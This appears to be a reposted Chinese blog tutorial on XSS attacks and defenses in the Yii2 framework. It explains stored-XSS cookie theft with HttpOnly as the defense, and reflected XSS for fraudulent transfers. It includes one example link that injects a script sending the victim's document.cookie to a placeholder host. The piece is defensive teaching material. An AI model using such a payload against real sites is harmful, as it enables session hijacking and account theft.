入门客AI创业平台(我带你入门,你带我飞行)
博文笔记

YII2框架学习 安全篇(一) XSS攻击和防范(上)

创建时间:2017-06-15 投稿人: 浏览次数:1094

在如今的web开发中,网络安全,信息安全应该是最重要的一环。常见的攻击主要有四类,XSS攻击、CSRF攻击、SQL注入和文件上传漏洞。在接下来的安全篇里,我会依次说明YII框架是如何应对这些攻击的。本篇要学习的就是XSS攻击和防范之存储。

XSS攻击的意思是跨站脚本攻击,XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。下面就以实际例子说明把。

1)盗取用户账号(基于存储的XSS攻击)

大概说一下盗号的原理。在用户登陆网站后,网站服务器会生成相应的session存储该用户登陆信息,并返回给用户浏览器cookie存储起来。下次向服务器请求数据的时候带上cookie里面的数据,就可以行驶用户权限了。那么,黑客只要通过js注入得到了这个cookie就可以伪装为用户了。

那么,重点来了怎么防止cookies泄露呢。httponly出现了,只要在cookie添加这个属性,那么js(document.cookie)就提取不到这个信息。

2)非法转账(基于反射的XSS攻击)

如果在用户的支付界面植入一段js代码,自动填写收款人和金额并提交,就能完成转账。植入js代码的方法是,让别人点击植入了js代码的链接,如

http://www.amazon.cn/search?name=<script>document.location="http://xxx/get?cookie="+document.cookie</script>

在这个前提,你就可以在别人的界面为非作歹了。还好,yii框架会让浏览器自动过滤js代码。

比较晚了,明天出下篇,继续讲反射xss还有蠕虫

声明:该文观点仅代表作者本人,入门客AI创业平台信息发布平台仅提供信息存储空间服务,如有疑问请联系rumenke@qq.com。